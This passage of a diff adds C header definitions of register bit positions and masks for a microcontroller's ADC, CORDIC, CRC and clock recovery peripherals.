/*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define 